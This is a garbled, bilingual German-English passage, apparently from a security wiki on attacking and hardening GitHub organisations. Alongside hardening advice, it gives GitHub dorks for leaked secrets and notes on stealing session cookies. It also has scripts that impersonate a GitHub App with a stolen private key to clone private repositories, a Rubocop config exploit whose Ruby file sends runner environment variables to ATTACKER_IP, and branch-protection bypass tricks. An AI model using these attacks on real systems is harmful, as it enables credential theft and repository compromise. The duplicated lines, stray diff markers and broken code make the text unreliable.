- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren möchten**, kennen, können Sie **github dorks** verwenden, um sensible Informationen zu finden oder nach **sensiblen Informationslecks** **in jedem Repo** zu suchen.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
### Github Dorks
Github ermöglicht es, **nach etwas zu suchen, indem man als Bereich einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Tools (jedes Tool enthält seine Liste von Dorks):
Tools (each tool contains its list of dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks-Liste](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github-Leaks
### Github Leaks
Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Tools (jedes Tool enthält seine Liste von Regex):
Tools (each tool contains its list of regexes):
Überprüfen Sie diese Seite: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Wenn Sie nach Leaks in einem Repo suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
### Externe Forks
### External Forks
Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu unten**](#execution-from-a-external-fork).
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
### Github-Leaks in gelöschten/internen Forks
### Github Leaks in deleted/internal forks
Selbst wenn sie gelöscht oder intern sind, kann es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Organisation-Härtung
## Organization Hardening
### Mitgliederprivilegien
### Member Privileges
Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations/<org_name>/settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden.
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**.
- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken.
- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter Zugang zu GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Änderung der Sichtbarkeit des Repositories**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Mitglieder erlauben, Teams zu erstellen**: Wenn aktiviert, kann jedes **Mitglied** der Organisation **neue Teams erstellen**. Wenn deaktiviert, können nur Organisationsinhaber neue Teams erstellen. Es ist besser, dies deaktiviert zu haben.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Weitere Dinge können** auf dieser Seite konfiguriert werden, aber die vorherigen sind die, die mehr mit Sicherheit zu tun haben.
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
### Aktionen-Einstellungen
### Actions Settings
Mehrere sicherheitsrelevante Einstellungen können für Aktionen von der Seite `https://github.com/organizations/<org_name>/settings/actions` konfiguriert werden.
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Beachten Sie, dass all diese Konfigurationen auch für jedes Repository unabhängig festgelegt werden können.
> Note that all this configurations can also be set on each repository independently
- **Github-Aktionen-Richtlinien**: Es ermöglicht Ihnen anzugeben, welche Repositories Workflows ausführen können und welche Workflows erlaubt sein sollten. Es wird empfohlen, **anzugeben, welche Repositories** erlaubt sein sollten und nicht alle Aktionen auszuführen.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork-Pull-Request-Workflows von externen Mitarbeitern**: Es wird empfohlen, **eine Genehmigung für alle** externen Mitarbeiter zu verlangen.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflows von Fork-Pull-Requests ausführen**: Es wird dringend **abgeraten, Workflows von Pull-Requests auszuführen**, da die Maintainer des Fork-Ursprungs die Möglichkeit erhalten, Tokens mit Lesezugriff auf das Quell-Repository zu verwenden.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflow-Berechtigungen**: Es wird dringend empfohlen, **nur Lesezugriffsberechtigungen für Repositories zu gewähren**. Es wird abgeraten, Schreib- und Erstellungs-/Genehmigungsberechtigungen für Pull-Requests zu gewähren, um den Missbrauch des GITHUB_TOKEN zu vermeiden, das für die Ausführung von Workflows bereitgestellt wird.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrationen
### Integrations
_Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Informationen zuzugreifen!_
_Let me know if you know the API endpoint to access this info!_
- **Richtlinie für den Zugriff von Drittanbieteranwendungen**: Es wird empfohlen, den Zugriff auf jede Anwendung einzuschränken und nur die benötigten zuzulassen (nach Überprüfung).
- **Installierte GitHub-Apps**: Es wird empfohlen, nur die benötigten zuzulassen (nach Überprüfung).
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen
## Recon & Attacks abusing credentials
Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.
For this scenario we are going to suppose that you have obtained some access to a github account.
### Mit Benutzeranmeldeinformationen
### With User Credentials
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie über welche **Repos** haben und **wie die Repos geschützt sind**.
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie nur auf diese Informationen zugreifen können, wenn Sie auch **diesen Check bestehen**.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Beachten Sie, dass wenn Sie **es schaffen, das `user_session`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
Überprüfen Sie den Abschnitt unten über [**Branch-Schutzumgehungen**](#branch-protection-bypass), falls es nützlich ist.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
### Mit Benutzer-SSH-Schlüssel
### With User SSH Key
Github erlaubt es **Benutzern**, **SSH-Schlüssel** festzulegen, die als **Authentifizierungsmethode zum Bereitstellen von Code** in ihrem Namen verwendet werden (es wird keine 2FA angewendet).
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in denen der Benutzer einige Berechtigungen hat**, jedoch können Sie ihn nicht verwenden, um auf die Github-API zuzugreifen, um die Umgebung aufzulisten. Sie können jedoch **lokale Einstellungen auflisten**, um Informationen über die Repos und den Benutzer zu erhalten, auf die Sie Zugriff haben:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann.
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
#### GPG-Schlüssel
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
Wie [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) erklärt, ist es manchmal notwendig, die Commits zu signieren, oder Sie könnten entdeckt werden.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Überprüfen Sie lokal, ob der aktuelle Benutzer einen Schlüssel hat mit:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Mit Benutzer-Token
Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).
### With User Token
Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
### Mit Oauth-Anwendung
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Für eine Einführung über [**Github Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#oauth-applications).
### With Oauth Application
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
### Mit Github-Anwendung
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Für eine Einführung über [**Github-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#github-applications).
### With Github Application
Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
#### Einen GitHub-App mit seinem privaten Schlüssel impersonifizieren (JWT → Installationszugriffstoken)
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Wenn Sie den privaten Schlüssel (PEM) einer GitHub-App erhalten, können Sie die App vollständig über alle ihre Installationen hinweg impersonifizieren:
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
- Generieren Sie ein kurzlebiges JWT, das mit dem privaten Schlüssel signiert ist
- Rufen Sie die GitHub App REST API auf, um Installationen aufzulisten
- Minten Sie pro Installation Zugriffstoken und verwenden Sie diese, um auf Repositories zuzugreifen, die dieser Installation gewährt wurden
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
Anforderungen:
- GitHub App privater Schlüssel (PEM)
- GitHub App ID (numerisch). GitHub verlangt, dass iss die App-ID ist
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
JWT erstellen (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste der Installationen für die authentifizierte App:
List installations for the authenticated app:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Erstellen Sie ein Installationszugriffstoken (gültig ≤ 10 Minuten):
Create an installation access token (valid ≤ 10 minutes):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Verwenden Sie das Token, um auf den Code zuzugreifen. Sie können mit der xaccesstoken-URL-Form klonen oder pushen:
Use the token to access code. You can clone or push using the xaccesstoken URL form:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmgesteuertes PoC, um eine bestimmte Organisation anzuvisieren und private Repos aufzulisten (PyGithub + PyJWT):
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notizen:
- Installations-Token erben genau die Berechtigungen auf Repository-Ebene der App (zum Beispiel, contents: write, pull_requests: write)
- Tokens laufen in ≤10 Minuten ab, aber neue Tokens können unbegrenzt erstellt werden, solange der private Schlüssel behalten wird
- Sie können auch Installationen über die REST API (GET /app/installations) mit dem JWT auflisten
## Kompromittierung & Missbrauch von Github Action
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Missbrauch von Drittanbieter-GitHub-Apps, die externe Tools ausführen (Rubocop-Erweiterung RCE)
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
Einige GitHub-Apps und PR-Überprüfungsdienste führen externe Linter/SAST gegen Pull-Requests unter Verwendung von repository-kontrollierten Konfigurationsdateien aus. Wenn ein unterstütztes Tool das dynamische Laden von Code ermöglicht, kann ein PR RCE auf dem Runner des Dienstes erreichen.
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
Beispiel: Rubocop unterstützt das Laden von Erweiterungen aus seiner YAML-Konfiguration. Wenn der Dienst eine vom Repo bereitgestellte .rubocop.yml durchlässt, können Sie beliebigen Ruby-Code ausführen, indem Sie eine lokale Datei anfordern.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
- Auslösebedingungen umfassen normalerweise:
- Das Tool ist im Dienst aktiviert
- Der PR enthält Dateien, die das Tool erkennt (für Rubocop: .rb)
- Das Repo enthält die Konfigurationsdatei des Tools (Rubocop sucht überall nach .rubocop.yml)
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
Exploit-Dateien im PR:
Exploit files in the PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (Exfiltriere Runner-Umgebungsvariablen):
ext.rb (exfiltrate runner env vars):
```ruby
require 'net/http'
require 'uri'
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
Auch eine ausreichend große Dummy-Ruby-Datei (z. B. main.rb) einfügen, damit der Linter tatsächlich ausgeführt wird.
Auswirkungen, die in der Wildnis beobachtet wurden:
- Vollständige Codeausführung auf dem Produktions-Runner, der den Linter ausgeführt hat
- Exfiltration sensibler Umgebungsvariablen, einschließlich des privaten Schlüssels der GitHub-App, die von dem Dienst verwendet wird, API-Schlüssel, DB-Anmeldeinformationen usw.
- Mit einem geleakten privaten Schlüssel der GitHub-App können Sie Installations-Token erstellen und Lese-/Schreibzugriff auf alle Repositories erhalten, die dieser App gewährt wurden (siehe den obigen Abschnitt zur Identitätsanpassung von GitHub-Apps)
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
Härtungsrichtlinien für Dienste, die externe Tools ausführen:
- Behandeln Sie von Repositories bereitgestellte Tool-Konfigurationen als nicht vertrauenswürdigen Code
- Führen Sie Tools in stark isolierten Sandboxes aus, in denen keine sensiblen Umgebungsvariablen gemountet sind
- Wenden Sie Berechtigungen mit minimalen Rechten und Dateisystemisolierung an und beschränken/verbieten Sie ausgehenden Netzwerkverkehr für Tools, die keinen Internetzugang benötigen
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
## Umgehung des Branchenschutzes
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
- **Erfordern Sie eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem aus Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repository haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
- _Hinweis für dies und für die Einschränkung der Code-Eigentümer, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
- **Erfordern Sie Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Schutzmaßnahmen für Pull-Requests umgehen.
- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diesen Branchenschutz umgehen.
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, bösartigen Code hinzuzufügen, die resultierende PR selbst zu genehmigen und alles zusammenzuführen.
- **Entfernen von Branchenschutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenzuführen) in Branches zu senden (der Branchenschutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branchenschutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branchschutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.
## Branch Protection Bypass
## Umgehung des Umweltschutzes
